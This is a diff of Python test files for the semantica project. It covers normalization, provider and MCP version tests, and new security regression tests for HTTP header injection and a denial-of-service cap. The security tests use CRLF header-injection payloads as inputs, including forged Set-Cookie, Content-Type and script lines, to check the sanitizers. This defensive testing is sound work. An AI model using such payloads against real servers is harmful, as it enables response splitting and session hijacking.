         # "2023-01-01T12:00:00+01:00" -> UTC should be "2023-01-01T11:00:00+00:00"
         normalized = self.normalizer.normalize_date(
-            "2023-01-01T12:00:00+01:00", 
-            timezone="UTC"
+            "2023-01-01T12:00:00+01:00", timezone="UTC"
         )
         self.assertEqual(normalized, "2023-01-01T11:00:00+00:00")
 
     def test_parse_temporal_expression(self):
         # Test range parsing
-        result = self.normalizer.parse_temporal_expression("from 2023-01-01 to 2023-01-31")
+        result = self.normalizer.parse_temporal_expression(
+            "from 2023-01-01 to 2023-01-31"
+        )
         self.assertIsNotNone(result.get("range"))
 
+
 class TestTimeZoneNormalizer(unittest.TestCase):
     def setUp(self):
         self.tz_normalizer = TimeZoneNormalizer()
@@ -56,7 +61,10 @@ class TestTimeZoneNormalizer(unittest.TestCase):
         # Assuming default is UTC if not specified or naive
         normalized = self.tz_normalizer.normalize_timezone(dt, "UTC")
         # Check offset instead of object identity
-        self.assertEqual(normalized.tzinfo.utcoffset(normalized), timezone.utc.utcoffset(None))
+        self.assertEqual(
+            normalized.tzinfo.utcoffset(normalized), timezone.utc.utcoffset(None)
+        )
+
 
 class TestRelativeDateProcessor(unittest.TestCase):
     def setUp(self):
@@ -71,5 +79,6 @@ class TestRelativeDateProcessor(unittest.TestCase):
         diff = datetime.now() - dt
         self.assertTrue(timedelta(days=2, hours=23) < diff < timedelta(days=3, hours=1))
 
+
 if __name__ == "__main__":
     unittest.main()

tests/normalize/test_encoding_handler.py

@@ -1,35 +1,41 @@
 import unittest
-import os
+
 from semantica.normalize.encoding_handler import EncodingHandler
 
+
 class TestEncodingHandler(unittest.TestCase):
     def setUp(self):
         self.handler = EncodingHandler()
 
     def test_detect_encoding(self):
         # UTF-8
-        text = "Héllò Wörld"
+        text = (
+            "C'était déjà l'été à Montréal; François dégustait un café près "
+            "de l'hôtel. "
+        ) * 4
         utf8_bytes = text.encode("utf-8")
-        encoding, conf = self.handler.detect(utf8_bytes)
+        encoding, _ = self.handler.detect(utf8_bytes)
         self.assertEqual(encoding.lower(), "utf-8")
-        
+
         # Latin-1
         latin1_bytes = text.encode("latin-1")
-        encoding, conf = self.handler.detect(latin1_bytes)
-        # chardet might return ISO-8859-1 or Windows-1252 which are compatible
-        self.assertIn(encoding.lower(), ["iso-8859-1", "windows-1252", "latin-1"])
+        encoding, _ = self.handler.detect(latin1_bytes)
+        # Different chardet versions may choose different compatible codecs.
+        self.assertEqual(latin1_bytes.decode(encoding), text)
 
     def test_convert_to_utf8(self):
         text = "Héllò Wörld"
         latin1_bytes = text.encode("latin-1")
-        converted = self.handler.convert_to_utf8(latin1_bytes)
+        converted = self.handler.convert_to_utf8(
+            latin1_bytes, source_encoding="latin-1"
+        )
         self.assertEqual(converted, text)
 
     def test_remove_bom(self):
         # UTF-8 BOM
         bom_bytes = b"\xef\xbb\xbfHello"
         self.assertEqual(self.handler.remove_bom(bom_bytes), b"Hello")
-        
+
         # String BOM
         bom_str = "\ufeffHello"
         self.assertEqual(self.handler.remove_bom(bom_str), "Hello")
@@ -39,5 +45,6 @@ class TestEncodingHandler(unittest.TestCase):
         # Invalid sequence for ascii
         self.assertFalse(self.handler.validate_encoding("Héllò", "ascii"))
 
+
 if __name__ == "__main__":
     unittest.main()

tests/normalize/test_language_detector.py

@@ -1,24 +1,39 @@
 import unittest
-from semantica.normalize.language_detector import LanguageDetector
+
+from semantica.normalize.language_detector import (
+    LANGDETECT_AVAILABLE,
+    LanguageDetector,
+)
+
 
 class TestLanguageDetector(unittest.TestCase):
     def setUp(self):
         self.detector = LanguageDetector()
 
+    @unittest.skipUnless(LANGDETECT_AVAILABLE, "langdetect is not installed")
     def test_detect_language(self):
         # English
-        self.assertEqual(self.detector.detect("This is a simple English sentence."), "en")
+        self.assertEqual(
+            self.detector.detect("This is a simple English sentence."), "en"
+        )
         # French
-        self.assertEqual(self.detector.detect("Ceci est une phrase française simple."), "fr")
+        self.assertEqual(
+            self.detector.detect("Ceci est une phrase française simple."), "fr"
+        )
         # German
-        self.assertEqual(self.detector.detect("Dies ist ein einfacher deutscher Satz."), "de")
+        self.assertEqual(
+            self.detector.detect("Dies ist ein einfacher deutscher Satz."), "de"
+        )
 
     def test_detect_short_text(self):
         # Should return default for very short text
         self.assertEqual(self.detector.detect("Hi"), "en")
 
+    @unittest.skipUnless(LANGDETECT_AVAILABLE, "langdetect is not installed")
     def test_detect_with_confidence(self):
-        lang, conf = self.detector.detect_with_confidence("This is definitely an English sentence.")
+        lang, conf = self.detector.detect_with_confidence(
+            "This is definitely an English sentence."
+        )
         self.assertEqual(lang, "en")
         self.assertGreater(conf, 0.5)
 
@@ -27,5 +42,6 @@ class TestLanguageDetector(unittest.TestCase):
         self.assertEqual(self.detector.get_language_name("fr"), "French")
         self.assertEqual(self.detector.get_language_name("xx"), "XX")
 
+
 if __name__ == "__main__":
     unittest.main()

tests/seed/test_seed_manager.py

@@ -1,9 +1,12 @@
+import tempfile
 import unittest
-from unittest.mock import MagicMock, patch, mock_open
 from pathlib import Path
-from semantica.seed.seed_manager import SeedDataManager, SeedDataSource, SeedData
+from unittest.mock import patch
+
+from semantica.seed.seed_manager import SeedData, SeedDataManager, SeedDataSource
 from semantica.utils.exceptions import ProcessingError
 
+
 class TestSeedDataManager(unittest.TestCase):
 
     def setUp(self):
@@ -32,20 +35,20 @@ class TestSeedDataManager(unittest.TestCase):
         self.assertEqual(source.entity_type, "Person")
         self.assertIn(name, self.manager.versions)
 
-    @patch("pathlib.Path.exists")
-    @patch("builtins.open", new_callable=mock_open, read_data="name,age\nAlice,30\nBob,25")
-    def test_load_from_csv(self, mock_file, mock_exists):
-        mock_exists.return_value = True
-        
-        records = self.manager.load_from_csv("test.csv", entity_type="Person", source_name="test_source")
-        
+    def test_load_from_csv(self):
+        with tempfile.TemporaryDirectory() as tmp_dir:
+            csv_file = Path(tmp_dir) / "test.csv"
+            csv_file.write_text("name,age\nAlice,30\nBob,25", encoding="utf-8")
+
+            records = self.manager.load_from_csv(
+                csv_file, entity_type="Person", source_name="test_source"
+            )
+
         self.assertEqual(len(records), 2)
         self.assertEqual(records[0]["name"], "Alice")
         self.assertEqual(records[0]["age"], "30")
         self.assertEqual(records[0]["entity_type"], "Person")
         self.assertEqual(records[0]["source"], "test_source")
-        
-        mock_file.assert_called_once_with(Path("test.csv"), "r", encoding="utf-8")
 
     @patch("pathlib.Path.exists")
     def test_load_from_csv_file_not_found(self, mock_exists):

tests/semantic_extract/test_pr482_deepseek_openai.py

@@ -8,6 +8,16 @@ from pydantic import BaseModel
 
 sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), "../../")))
 
+# The openai SDK is an optional extra (`pip install semantica[llm-openai]`), not a
+# dev dependency. Only the tests that spec a mock against the real OpenAI class
+# need it — the rest of this module must still run without it.
+try:
+    from openai import OpenAI
+except ImportError:  # pragma: no cover - depends on the installed extras
+    OpenAI = None
+
+requires_openai = unittest.skipIf(OpenAI is None, "openai SDK not installed")
+
 
 class TestDeepSeekProviderInit(unittest.TestCase):
     """Tests for DeepSeekProvider.__init__ and _init_client after PR #482."""
@@ -171,20 +181,9 @@ class TestDeepSeekProviderGenerate(unittest.TestCase):
 class TestDeepSeekInstructorPath(unittest.TestCase):
     """Tests for generate_typed instructor path with DeepSeekProvider (OpenAI client)."""
 
-    def _make_provider(self, api_key="sk-test"):
-        from semantica.semantic_extract.providers import DeepSeekProvider
-        from unittest.mock import MagicMock
-        from openai import OpenAI
-        with patch.object(DeepSeekProvider, "_init_client", return_value=None):
-            provider = DeepSeekProvider(api_key=api_key)
-        # After PR #482, client is an OpenAI instance
-        mock_client = MagicMock(spec=OpenAI)
-        provider.client = mock_client
-        return provider
-
+    @requires_openai
     def test_generate_typed_instructor_openai_isinstance_check(self):
         """After PR #482, client is OpenAI, so instructor path must use from_openai."""
-        from openai import OpenAI
         from semantica.semantic_extract.providers import DeepSeekProvider
         with patch.object(DeepSeekProvider, "_init_client", return_value=None):
             provider = DeepSeekProvider(api_key="sk-test")
@@ -228,8 +227,8 @@ class TestVerboseModeAssignment(unittest.TestCase):
             except Exception:
                 pass  # other errors are OK — we only care NameError is gone
 
-    def test_generate_typed_verbose_true_prints(self):
-        """When verbose=True, generate_typed must print the confirmation line."""
+    def test_generate_typed_verbose_true_logs(self):
+        """When verbose=True, generate_typed must log the confirmation line."""
         provider = self._make_openai_provider()
 
         class Schema(BaseModel):
@@ -243,21 +242,21 @@ class TestVerboseModeAssignment(unittest.TestCase):
         mock_instructor.from_provider.side_effect = Exception("skip")
         mock_instructor.Mode.TOOLS = "tools"
 
-        import io
-        captured = io.StringIO()
         with patch("semantica.semantic_extract.providers.instructor", mock_instructor):
-            with patch("sys.stdout", captured):
+            with self.assertLogs(provider.logger.name, level="DEBUG") as captured:
                 try:
                     provider.generate_typed("prompt", Schema, verbose=True)
                 except Exception:
                     pass
 
-        output = captured.getvalue()
-        # verbose_mode=True should trigger the print statement
-        self.assertIn("generate_typed", output)
+        # verbose_mode=True should trigger the debug log line
+        self.assertTrue(
+            any("generate_typed" in line for line in captured.output),
+            f"expected a generate_typed debug record, got {captured.output}",
+        )
 
-    def test_generate_typed_verbose_false_no_print(self):
-        """When verbose=False (default), generate_typed must not print anything."""
+    def test_generate_typed_verbose_false_no_log(self):
+        """When verbose=False (default), generate_typed must not log the line."""
         provider = self._make_openai_provider()
 
         class Schema(BaseModel):
@@ -271,16 +270,18 @@ class TestVerboseModeAssignment(unittest.TestCase):
         mock_instructor.from_provider.side_effect = Exception("skip")
         mock_instructor.Mode.TOOLS = "tools"
 
-        import io
-        captured = io.StringIO()
         with patch("semantica.semantic_extract.providers.instructor", mock_instructor):
-            with patch("sys.stdout", captured):
+            with patch.object(provider, "logger") as mock_logger:
                 try:
                     provider.generate_typed("prompt", Schema)
                 except Exception:
                     pass
 
-        self.assertEqual(captured.getvalue(), "")
+        debug_calls = [str(c) for c in mock_logger.debug.call_args_list]
+        self.assertFalse(
+            any("generate_typed" in c for c in debug_calls),
+            f"expected no generate_typed debug record, got {debug_calls}",
+        )
 
     def test_generate_typed_verbose_from_config(self):
         """verbose_mode must also respect config-level verbose setting."""
@@ -298,25 +299,26 @@ class TestVerboseModeAssignment(unittest.TestCase):
         mock_instructor.from_provider.side_effect = Exception("skip")
         mock_instructor.Mode.TOOLS = "tools"
 
-        import io
-        captured = io.StringIO()
         with patch("semantica.semantic_extract.providers.instructor", mock_instructor):
-            with patch("sys.stdout", captured):
+            with self.assertLogs(provider.logger.name, level="DEBUG") as captured:
                 try:
                     provider.generate_typed("prompt", Schema)
                 except Exception:
                     pass
 
-        self.assertIn("generate_typed", captured.getvalue())
+        self.assertTrue(
+            any("generate_typed" in line for line in captured.output),
+            f"expected a generate_typed debug record, got {captured.output}",
+        )
 
 
 class TestDeepSeekGenerateTypedInstructorIntegration(unittest.TestCase):
     """Integration-style tests: DeepSeekProvider.generate_typed with instructor."""
 
+    @requires_openai
     def test_generate_typed_deepseek_uses_openai_client_for_instructor(self):
         """generate_typed instructor path for DeepSeek must reuse the OpenAI client."""
         from semantica.semantic_extract.providers import DeepSeekProvider
-        from openai import OpenAI
 
         with patch.object(DeepSeekProvider, "_init_client", return_value=None):
             provider = DeepSeekProvider(api_key="sk-test")

tests/test_mcp_package_version.py

@@ -0,0 +1,54 @@
+"""Regression tests for version reporting in the top-level `mcp` package
+(issue #863).
+
+Covers the same stale-version bug as `test_mcp_server_version.py` for the
+standalone `mcp/` server (run via `python -m mcp.server`), which is a
+separate implementation from `semantica.mcp_server` and was not covered
+by that fix. `semantica.__version__` is the authoritative package
+version (see semantica/mcp_server/__init__.py), so all three surfaces
+are asserted against it directly.
+"""
+
+import json
+import os
+import sys
+import unittest
+
+sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), "..")))
+
+import mcp
+import semantica
+from mcp.resources.registry import _read_schema_info
+from mcp.server import _handle_initialize
+
+_EXPECTED = semantica.__version__
+
+
+class TestMCPPackageVersion(unittest.TestCase):
+    def test_package_version_matches_authoritative_source(self):
+        self.assertEqual(mcp.__version__, _EXPECTED)
+
+    def test_package_version_is_not_stale_literal(self):
+        self.assertNotEqual(mcp.__version__, "0.4.0")
+
+    def test_initialize_server_info_version_matches_package(self):
+        response = _handle_initialize(1, {})
+        self.assertEqual(response["result"]["serverInfo"]["version"], _EXPECTED)
+
+    def test_initialize_server_info_version_is_not_stale_literal(self):
+        response = _handle_initialize(1, {})
+        self.assertNotEqual(response["result"]["serverInfo"]["version"], "0.4.0")
+
+    def test_schema_info_resource_version_matches_package(self):
+        resource = _read_schema_info("semantica://schema/info")
+        info = json.loads(resource["text"])
+        self.assertEqual(info["version"], _EXPECTED)
+
+    def test_schema_info_resource_version_is_not_stale_literal(self):
+        resource = _read_schema_info("semantica://schema/info")
+        info = json.loads(resource["text"])
+        self.assertNotEqual(info["version"], "0.4.0")
+
+
+if __name__ == "__main__":
+    unittest.main()

tests/test_mcp_server_version.py

@@ -1,35 +1,93 @@
-"""Regression tests for MCP server version reporting."""
+"""Regression tests for MCP server version reporting (issue #863).
+
+Both public MCP version surfaces must derive from the same authoritative
+package version rather than a hardcoded stale literal:
+  1. MCP ``initialize`` → ``serverInfo.version``
+  2. ``semantica://schema/info`` → ``version``
+
+The authoritative source of truth is ``semantica.__version__``, which is
+maintained in sync with ``pyproject.toml``'s static ``version`` field by
+the release process.  We assert equality against that value rather than
+duplicating the version-resolution logic here, so the tests remain valid
+through future version bumps without modification.
+
+The ``assertNotEqual(..., "0.4.0")`` canaries guard against regression to
+the original stale literal that triggered issue #863.
+"""
 
 import unittest
-from importlib.metadata import PackageNotFoundError, version
 
 import semantica
 from semantica import mcp_server
 
+_EXPECTED = semantica.__version__
+
 
 class TestMCPServerVersion(unittest.TestCase):
-    def test_server_info_uses_distribution_version(self):
-        try:
-            expected = version("semantica")
-        except PackageNotFoundError:
-            expected = semantica.__version__
 
-        self.assertEqual(mcp_server.SERVER_INFO["version"], expected)
+    # ------------------------------------------------------------------ #
+    # SERVER_INFO (used directly in the initialize response)
+    # ------------------------------------------------------------------ #
 
-    def test_initialize_reports_package_version(self):
+    def test_server_info_version_matches_package(self):
+        """SERVER_INFO['version'] must equal the authoritative package version."""
+        self.assertEqual(mcp_server.SERVER_INFO["version"], _EXPECTED)
+
+    def test_server_info_version_is_not_stale_literal(self):
+        """Guard: SERVER_INFO must not report the original hardcoded 0.4.0."""
+        self.assertNotEqual(mcp_server.SERVER_INFO["version"], "0.4.0")
+
+    # ------------------------------------------------------------------ #
+    # MCP initialize → serverInfo.version
+    # ------------------------------------------------------------------ #
+
+    def test_initialize_server_info_version_matches_package(self):
+        """The MCP initialize response must report the authoritative package version."""
         response = mcp_server._handle(
             {"jsonrpc": "2.0", "id": 1, "method": "initialize"}
         )
-
         self.assertIsNotNone(response)
         self.assertEqual(
-            response["result"]["serverInfo"]["version"], semantica.__version__
+            response["result"]["serverInfo"]["version"],
+            _EXPECTED,
         )
 
-    def test_schema_info_resource_reports_package_version(self):
-        resource = mcp_server._read_resource("semantica://schema/info")
+    def test_initialize_server_info_version_is_not_stale_literal(self):
+        """Guard: initialize must not report the original hardcoded 0.4.0."""
+        response = mcp_server._handle(
+            {"jsonrpc": "2.0", "id": 1, "method": "initialize"}
+        )
+        self.assertNotEqual(response["result"]["serverInfo"]["version"], "0.4.0")
 
-        self.assertEqual(resource["version"], semantica.__version__)
+    # ------------------------------------------------------------------ #
+    # semantica://schema/info → version
+    # ------------------------------------------------------------------ #
+
+    def test_schema_info_resource_version_matches_package(self):
+        """The semantica://schema/info resource must report the authoritative package version."""
+        resource = mcp_server._read_resource("semantica://schema/info")
+        self.assertEqual(resource["version"], _EXPECTED)
+
+    def test_schema_info_resource_version_is_not_stale_literal(self):
+        """Guard: schema/info must not report the original hardcoded 0.4.0."""
+        resource = mcp_server._read_resource("semantica://schema/info")
+        self.assertNotEqual(resource["version"], "0.4.0")
+
+    # ------------------------------------------------------------------ #
+    # Both surfaces must agree
+    # ------------------------------------------------------------------ #
+
+    def test_both_version_surfaces_are_identical(self):
+        """SERVER_INFO and schema/info must report the exact same version string,
+        confirming both surfaces derive from a single authoritative value."""
+        init_response = mcp_server._handle(
+            {"jsonrpc": "2.0", "id": 1, "method": "initialize"}
+        )
+        schema_resource = mcp_server._read_resource("semantica://schema/info")
+        self.assertEqual(
+            init_response["result"]["serverInfo"]["version"],
+            schema_resource["version"],
+        )
 
 
 if __name__ == "__main__":

tests/test_security_regression_pr2.py

@@ -0,0 +1,408 @@
+"""
+Regression tests for security fixes introduced in follow-on to PR #898.
+
+Covers three vulnerabilities found by security audit:
+  - VULN-1: CWE-113 Header injection via node_id in Content-Disposition
+  - VULN-2: CWE-770 Unbounded memory DoS in /api/enrich/links
+  - VULN-3: CWE-20+113 Stored header injection via unsanitized import node IDs
+
+All tests are self-contained; no running server required.
+"""
+import json
+import re
+import pytest
+
+
+# ===================================================================
+# Helper: replicate the sanitization functions under test
+# ===================================================================
+
+# --- provenance.py ---
+_UNSAFE_FILENAME_CHARS_PROV = re.compile(r'[\r\n\x00"\\]')
+_MAX_FILENAME_ID_LEN = 128
+
+
+def _safe_content_disposition_filename(node_id: str, suffix: str) -> str:
+    sanitized = _UNSAFE_FILENAME_CHARS_PROV.sub("_", str(node_id))[:_MAX_FILENAME_ID_LEN]
+    return f"{sanitized}{suffix}"
+
+
+# --- export_import.py ---
+_UNSAFE_ID_CHARS_IMPORT = re.compile(r'[\r\n\x00"\\]')
+_MAX_IMPORT_NODE_ID_LEN = 512
+
+
+def _sanitize_import_node_id(raw: object) -> str:
+    cleaned = _UNSAFE_ID_CHARS_IMPORT.sub("_", str(raw).strip())
+    if len(cleaned) > _MAX_IMPORT_NODE_ID_LEN:
+        raise ValueError(f"Node ID exceeds {_MAX_IMPORT_NODE_ID_LEN} chars")
+    return cleaned
+
+
+# ===================================================================
+# VULN-1: Header injection via node_id in Content-Disposition
+# ===================================================================
+
+class TestVuln1HeaderInjection:
+    """Regression: CWE-113 — provenance.py lines 332, 344."""
+
+    def _make_header(self, node_id: str, fmt: str = "json") -> str:
+        """Reproduce the pre-fix vulnerable code path."""
+        suffix = "_provenance.md" if fmt in {"md", "markdown"} else "_provenance.json"
+        return f'attachment; filename="{node_id}{suffix}"'
+
+    def _make_safe_header(self, node_id: str, fmt: str = "json") -> str:
+        """Post-fix sanitized path."""
+        suffix = "_provenance.md" if fmt in {"md", "markdown"} else "_provenance.json"
+        return f'attachment; filename="{_safe_content_disposition_filename(node_id, suffix)}"'
+
+    # --- Confirm the old code WAS vulnerable ---
+
+    def test_vulnerable_path_crlf(self):
+        """Without the fix, CRLF injects new headers."""
+        raw = self._make_header('x"\r\nX-Evil: pwned')
+        assert "\r\n" in raw, "Vulnerable: CRLF in header value"
+        assert "X-Evil: pwned" in raw
+
+    def test_vulnerable_path_content_type_override(self):
+        raw = self._make_header('x"\r\nContent-Type: text/html\r\n\r\n<script>')
+        assert "Content-Type: text/html" in raw
+
+    # --- Confirm the fix works ---
+
+    def test_safe_strips_crlf(self):
+        # The sanitizer strips \r, \n, \x00, ", \ -- it does not remove the
+        # surrounding text of an injection attempt, only the characters that
+        # let it split into a new header line. "X-Inject" as a literal
+        # substring surviving is expected and harmless; what matters is that
+        # no \r\n sequence remains to start a new header.
+        safe = self._make_safe_header('evil"\r\nX-Inject: yes')
+        assert "\r" not in safe
+        assert "\n" not in safe
+
+    def test_safe_strips_null_byte(self):
+        safe = self._make_safe_header("node\x00.json")
+        assert "\x00" not in safe
+
+    def test_safe_strips_double_quote(self):
+        safe = self._make_safe_header('node"extra"')
+        assert safe.count('"') == 2  # only the outer quotes from the template
+
+    def test_safe_strips_backslash(self):
+        safe = self._make_safe_header("node\\path")
+        assert "\\" not in safe
+
+    def test_safe_length_cap(self):
+        long_id = "A" * 300
+        safe = _safe_content_disposition_filename(long_id, "_provenance.json")
+        assert len(safe) <= _MAX_FILENAME_ID_LEN + len("_provenance.json")
+
+    def test_safe_normal_id_unchanged(self):
+        safe = _safe_content_disposition_filename("my-node_123.v2", "_provenance.json")
+        assert safe == "my-node_123.v2_provenance.json"
+
+    def test_safe_set_cookie_injection_blocked(self):
+        # As above: the literal word "Set-Cookie" surviving is fine; what
+        # actually blocks the attack is that no \r\n remains to start a new
+        # header line, so this can never be parsed as a second header.
+        payload = 'x"\r\nSet-Cookie: session=HIJACKED; Path=/\r\n\r\n'
+        safe = self._make_safe_header(payload)
+        assert "\r\n" not in safe
+        assert "\r" not in safe
+        assert "\n" not in safe
+
+    def test_safe_markdown_suffix(self):
+        safe = self._make_safe_header("my-node", "md")
+        assert safe.endswith("_provenance.md\"")
+
+
+# ===================================================================
+# VULN-2: Unbounded memory DoS in /api/enrich/links
+# ===================================================================
+
+class TestVuln2LinkPredictionDos:
+    """Regression: CWE-770 — enrich.py lines 197-198."""
+
+    def test_constant_values_changed(self):
+        """The predict_links function must not use the old unbounded limit=999_999."""
+        import ast, pathlib
+        src = pathlib.Path(
+            "semantica/explorer/routes/enrich.py"
+        ).read_text(encoding="utf-8")
+        tree = ast.parse(src)
+        # Find the predict_links function and check its body for 999_999 literals
+        for node in ast.walk(tree):
+            if isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef)) and node.name == "predict_links":
+                func_src = ast.get_source_segment(src, node) or ""
+                assert "999_999" not in func_src, (
+                    "Old limit=999_999 still present in predict_links — DoS fix not applied"
+                )
+                break
+        else:
+            pytest.fail("predict_links function not found in enrich.py")
+
+    def test_cap_constant_defined(self):
+        """_LINK_PREDICTION_MAX_NODES must be defined and <= 50_000."""
+        from semantica.explorer.routes.enrich import _LINK_PREDICTION_MAX_NODES
+        assert isinstance(_LINK_PREDICTION_MAX_NODES, int)
+        assert _LINK_PREDICTION_MAX_NODES <= 50_000, (
+            f"Cap {_LINK_PREDICTION_MAX_NODES} is too high — should be <= 50,000"
+        )
+
+    def test_semaphore_defined(self):
+        """_link_prediction_semaphore must exist."""
+        import asyncio
+        from semantica.explorer.routes.enrich import _link_prediction_semaphore
+        assert isinstance(_link_prediction_semaphore, asyncio.Semaphore)
+
+    def test_memory_scaling_linear(self):
+        """Confirm memory per node is bounded (basis for the extrapolation)."""
+        import tracemalloc
+        tracemalloc.start()
+        nodes = [
+            {"id": f"node_{i}", "type": "entity", "embedding": [0.1] * 128}
+            for i in range(10_000)
+        ]
+        _, peak = tracemalloc.get_traced_memory()
+        tracemalloc.stop()
+        peak_mb = peak / 1024 / 1024
+        # At 10k nodes with 128-dim embeddings peak should be < 50 MB in-process
+        assert peak_mb < 50, f"Memory at 10k nodes = {peak_mb:.1f} MB — unexpectedly high"
+
+
+# ===================================================================
+# VULN-3: Unsanitized import node ID → stored header injection
+# ===================================================================
+
+class TestVuln3ImportNodeIdSanitization:
+    """Regression: CWE-20+113 — export_import.py lines 111, 203."""
+
+    # --- The sanitizer itself ---
+
+    def test_strips_crlf(self):
+        assert "\r" not in _sanitize_import_node_id("evil\r\nX-Inject: yes")
+        assert "\n" not in _sanitize_import_node_id("evil\r\nX-Inject: yes")
+
+    def test_strips_null_byte(self):
+        result = _sanitize_import_node_id("node\x00.json")
+        assert "\x00" not in result
+
+    def test_strips_double_quote(self):
+        result = _sanitize_import_node_id('node"extra"')
+        assert '"' not in result
+
+    def test_strips_backslash(self):
+        result = _sanitize_import_node_id("node\\path")
+        assert "\\" not in result
+
+    def test_normal_id_unchanged(self):
+        assert _sanitize_import_node_id("my-node_123") == "my-node_123"
+
+    def test_length_cap_raises(self):
+        with pytest.raises((ValueError, Exception)):
+            _sanitize_import_node_id("A" * 600)
+
+    def test_set_cookie_payload_sanitized(self):
+        # The sanitizer strips \r, \n, \x00, ", \ -- not letters, so the word
+        # "Set-Cookie" surviving is fine. What matters for CWE-113 is that no
+        # \r\n sequence remains to split the header.
+        bad = 'evil"\r\nSet-Cookie: session=HIJACKED; Path=/'
+        result = _sanitize_import_node_id(bad)
+        assert "\r\n" not in result
+        assert "\r" not in result
+        assert "\n" not in result
+
+    def test_content_type_payload_sanitized(self):
+        bad = 'x"\r\nContent-Type: text/html\r\n\r\n<script>alert(1)</script>'
+        result = _sanitize_import_node_id(bad)
+        assert "\r\n" not in result
+        assert "\r" not in result
+        assert "\n" not in result
+
+    # --- End-to-end: sanitized ID cannot trigger header injection ---
+
+    def test_chain_sanitized_id_cannot_inject(self):
+        """After sanitization, stored ID must not split Content-Disposition."""
+        bad_id = 'evil"\r\nSet-Cookie: session=HIJACKED'
+        stored_id = _sanitize_import_node_id(bad_id)
+        # Simulate provenance report header construction
+        header = _safe_content_disposition_filename(stored_id, "_provenance.json")
+        assert "\r\n" not in header
+        assert "\r" not in header
+        assert "\n" not in header
+
+    def test_import_sanitizer_applied_json(self):
+        """_sanitize_import_node_id must be called in the JSON import path."""
+        import ast, pathlib
+        src = pathlib.Path(
+            "semantica/explorer/routes/export_import.py"
+        ).read_text(encoding="utf-8")
+        assert "_sanitize_import_node_id" in src
+        # Must appear at least twice: JSON path + CSV path
+        assert src.count("_sanitize_import_node_id") >= 2, (
+            "Sanitizer only applied in one import path — CSV or JSON path is still vulnerable"
+        )
+
+    def test_import_sanitizer_applied_csv(self):
+        """The CSV import path must also call _sanitize_import_node_id."""
+        import pathlib
+        src = pathlib.Path(
+            "semantica/explorer/routes/export_import.py"
+        ).read_text(encoding="utf-8")
+        # Find both occurrences with their surrounding context
+        lines = src.splitlines()
+        sanitizer_lines = [i for i, l in enumerate(lines) if "_sanitize_import_node_id" in l]
+        assert len(sanitizer_lines) >= 2, (
+            f"Expected >= 2 calls to _sanitize_import_node_id, found {len(sanitizer_lines)}"
+        )
+
+
+# ===================================================================
+# VULN-3 bypass fix: the `"properties" in raw_node` fast path in the JSON
+# import loop stored the id verbatim, completely skipping
+# _sanitize_import_node_id(). Exercised end-to-end via the real FastAPI
+# route (not the standalone sanitizer copy above) since that's exactly how
+# the bypass went unnoticed by the original test suite in this PR.
+# ===================================================================
+
+
+@pytest.fixture
+def _real_client(monkeypatch):
+    pytest.importorskip("starlette")
+    # These tests exercise route logic, not the API-key auth layer (see
+    # tests/explorer/conftest.py, which does the same for that directory).
+    monkeypatch.setenv("SEMANTICA_ALLOW_ANONYMOUS", "true")
+    monkeypatch.delenv("SEMANTICA_API_KEY", raising=False)
+    from starlette.testclient import TestClient
+    from semantica.context.context_graph import ContextGraph
+    from semantica.explorer.app import create_app
+    from semantica.explorer.session import GraphSession
+
+    session = GraphSession(ContextGraph(advanced_analytics=False))
+    app = create_app(session=session)
+    with TestClient(app) as test_client:
+        yield test_client
+
+
+class TestVuln3PropertiesBypassFix:
+    """Regression: export_import.py's `"properties" in raw_node` fast path."""
+
+    def test_properties_shaped_node_id_is_sanitized(self, _real_client):
+        """A node object carrying its own "properties" key -- the shape this
+        app's own /api/export produces, and what
+        test_import_json_with_edge_metadata in test_explorer_api.py already
+        uses -- must still have its id sanitized on import."""
+        malicious_id = 'evil"\r\nSet-Cookie: session=HIJACKED; Path=/'
+        payload = json.dumps(
+            {"nodes": [{"id": malicious_id, "type": "entity", "properties": {"content": "pwned"}}]}
+        )
+        response = _real_client.post(
+            "/api/import",
+            files={"file": ("evil.json", payload, "application/json")},
+        )
+        assert response.status_code == 200
+        assert response.json()["nodes_added"] == 1
+
+        expected_id = _sanitize_import_node_id(malicious_id)
+        assert "\r" not in expected_id and "\n" not in expected_id
+
+        listing = _real_client.get("/api/graph/nodes", params={"limit": 100})
+        ids = {n["id"] for n in listing.json()["nodes"]}
+        assert malicious_id not in ids, "Raw malicious id was stored verbatim -- bypass not fixed"
+        assert expected_id in ids, "Sanitized id was not what got stored"
+
+    def test_properties_bypass_blocks_header_injection_e2e(self, _real_client):
+        """Full chain: import a "properties"-shaped node with a CRLF id, then
+        request its provenance report and confirm no header injection."""
+        malicious_id = 'evil"\r\nContent-Type: text/html\r\nX-Evil: pwned'
+        payload = json.dumps({"nodes": [{"id": malicious_id, "type": "entity", "properties": {}}]})
+        response = _real_client.post(
+            "/api/import",
+            files={"file": ("evil.json", payload, "application/json")},
+        )
+        assert response.status_code == 200
+
+        expected_id = _sanitize_import_node_id(malicious_id)
+        report = _real_client.get(
+            "/api/provenance/report", params={"node_id": expected_id, "format": "json"}
+        )
+        assert report.status_code == 200
+        disposition = report.headers.get("content-disposition", "")
+        # No \r or \n surviving is the necessary and sufficient condition for
+        # blocking header injection -- the sanitizer strips those characters
+        # but not letters, so "X-Evil"/"Content-Type" as literal substrings
+        # surviving is expected and harmless.
+        assert "\r\n" not in disposition
+        assert "\r" not in disposition
+        assert "\n" not in disposition
+        # And confirm no attacker-controlled header actually landed as a
+        # distinct response header (would only happen if splitting occurred).
+        assert "x-evil" not in report.headers
+        assert report.headers.get("content-type", "").startswith("application/json")
+
+
+# ===================================================================
+# VULN-2 fix follow-up: the 10k/50k cap must be enforced BEFORE the
+# expensive get_nodes()/get_edges() calls, not after. paginate_nodes()/
+# paginate_edges() normalize the *entire* matching set before applying
+# `limit`, so checking `total` only after calling them still pays the full
+# O(graph size) cost the cap exists to avoid.
+# ===================================================================
+
+
+class TestVuln2CapEnforcedBeforeExpensiveWork:
+    def test_get_raw_counts_matches_graph(self):
+        from semantica.context.context_graph import ContextGraph
+        from semantica.explorer.session import GraphSession
+
+        graph = ContextGraph(advanced_analytics=False)
+        graph.add_node("a", node_type="entity", content="A")
+        graph.add_node("b", node_type="entity", content="B")
+        graph.add_edge("a", "b", edge_type="related_to")
+        session = GraphSession(graph)
+
+        total_nodes, total_edges = session.get_raw_counts()
+        assert total_nodes == 2
+        assert total_edges == 1
+
+    def test_predict_links_checks_raw_counts_before_get_nodes(self):
+        import pathlib
+
